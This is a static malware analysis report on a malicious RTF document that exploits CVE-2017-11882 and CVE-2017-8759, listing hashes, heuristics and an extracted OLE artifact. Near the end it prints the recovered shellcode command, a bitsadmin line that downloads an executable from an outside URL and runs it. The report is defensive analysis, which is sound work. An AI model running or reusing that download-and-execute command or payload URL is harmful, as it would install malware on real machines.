Malicious RTF — malware analysis report

Static analysis result for SHA-256 ae4dfd4d075c3d09…

MALICIOUS

RTF

283.5 KB Created: 2018-06-19 10:32:00 First seen: 2018-09-04
MD5: 5a1ce75aea7f318b784593a5b7270d44 SHA-1: 83cf59f456cfa328e5947609e35c08d0ac6f9dad SHA-256: ae4dfd4d075c3d09beddffd67afb6750315372e4f96d655371d537c299533495
322 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains embedded OLE objects and exploits known vulnerabilities, specifically CVE-2017-11882 and CVE-2017-8759, which are commonly used for client-side execution of malicious code. The presence of a suspicious executable file within the extracted artifacts and a high-risk URL suggests the file is designed to download and run a second-stage payload.

Heuristics 8

  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759
    RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
  • ClamAV: Doc.Exploit.Cve_2017_11882-7570663-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Exploit.Cve_2017_11882-7570663-1
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://moteandassociates.com/plot/build_output3289020.exe In RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off0000c6c0.bin rtf-objdata-decoded RTF \objdata at offset 0xC6C0 15672 bytes
SHA-256: d60ad885f7e793da28a92e6e052f300ca1085c9675640c77f6877da08cfb9474
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): https://moteandassociates.com/plot/build_output3289020.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer Uq /priority foreground https://moteandassociates.com/plot/build_output3289020.exe %TEMP%\whw.exe && start %TEMP%\whw.exe

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